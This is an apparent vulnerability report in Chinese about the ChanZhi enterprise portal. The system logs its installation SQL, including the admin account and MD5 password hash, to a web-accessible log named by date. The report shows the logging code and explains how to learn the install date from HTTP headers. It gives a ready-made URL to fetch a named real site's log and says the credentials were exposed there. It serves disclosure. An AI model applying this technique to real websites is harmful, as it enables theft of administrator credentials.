### 简要描述:
青岛息壤网络信息有限公司成立于2013年,由禅道软件公司青岛易软天创全资投资创办,位于美丽的青岛开发区,团队成员拥有丰富的网站设计、系统研发、服务器维护和SEO经验。我们正在打造一款开源免费的企业门户系统,以帮助企业建立品牌网站,进行宣传推广、市场营销、产品销售和客户跟踪。息壤,为天下企业提供专业的营销工具!
### 详细说明:
蝉知企业门户系统在安装完成后会在 \system\tmp\log\ 下生成类似
[<img src="https://images.seebug.org/upload/201407/011513195ea46c9a48ad1bcaaa266bab08c46f35.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/011513195ea46c9a48ad1bcaaa266bab08c46f35.png)
的两个文件.
我们打开 sql.20140701.log 内容如下:
```
20140701 13:28:01: /install.php
20140701 13:28:04: /install.php?m=install&f=step1
20140701 13:28:06: /install.php?m=install&f=step2
20140701 13:28:13: /install.php?m=install&f=step3
20140701 13:28:14: /install.php?m=install&f=step3
20140701 13:28:22: /install.php?m=install&f=step3
20140701 13:28:22: /install.php?m=install&f=step4
20140701 13:28:27: /install.php?m=install&f=step4
INSERT INTO eps_user SET `account` = 'admin',`realname` = 'admin',`password` = '86f3059b228c8acf99e69734b6bb32cc',`admin` = 'super',`join` = '2014-07-01 13:28:27'
REPLACE eps_config SET `owner` = 'system',`module` = 'common',`section` = 'global',`key` = 'version',`value` = '2.4'
20140701 13:28:27: /install.php?m=install&f=step5
REPLACE eps_config SET `owner` = 'system',`module` = 'common',`section` = 'site',`key` = 'lang',`value` = 'zh-cn'
```
可以发现在程序安装的时候将之前设置的管理员账户密码的SQL命令写入了这个Log文件。
具体代码在 system\framework\router.class.php 的第 1602 行
```
public function saveSQL()
{
if(!class_exists('dao')) return;
$sqlLog = $this->getLogRoot() . 'sql.' . date('Ymd') . '.log';
$fh = @fopen($sqlLog, 'a');
if(!$fh) return false;
fwrite($fh, date('Ymd H:i:s') . ": " . $this->getURI() . "\n");
foreach(dao::$querys as $query) fwrite($fh, " $query\n");
fwrite($fh, "\n");
fclose($fh);
}
```
可以发现文件名是根据当时安装的日期命名的。
那我们可否通过获取某些远程文件的最后创建日期来找确定安装日期,从而找到这个LOG文件呢。
### 漏洞证明:
通过上面的分析,试着找一个案例。
[<img src="https://images.seebug.org/upload/201407/0115221579df549d67e01a461f38791d25a876f5.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/0115221579df549d67e01a461f38791d25a876f5.png)
[<img src="https://images.seebug.org/upload/201407/0115231892578feecdda208a84b6ef2d0debb458.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/0115231892578feecdda208a84b6ef2d0debb458.png)
通过官网上的论坛找到了一个案例。
然后我们尝试得到安装的日期,这里可以通过观察响应头文件中的If-Modified-Since参数 找到。
[<img src="https://images.seebug.org/upload/201407/01152705edc2479653dd9cb4e549f38dcbb8b7ea.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/01152705edc2479653dd9cb4e549f38dcbb8b7ea.png)
得知日期后,我们构造如下URL:
```
http://www.sdled.net/system/tmp/log/sql.20140628.log
```
[<img src="https://images.seebug.org/upload/201407/011529406d8671d7e740d8402f36030ff0714f84.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/011529406d8671d7e740d8402f36030ff0714f84.png)
可以看见管理员的账号和MD5后的密码瞬间暴露出来。
暂无评论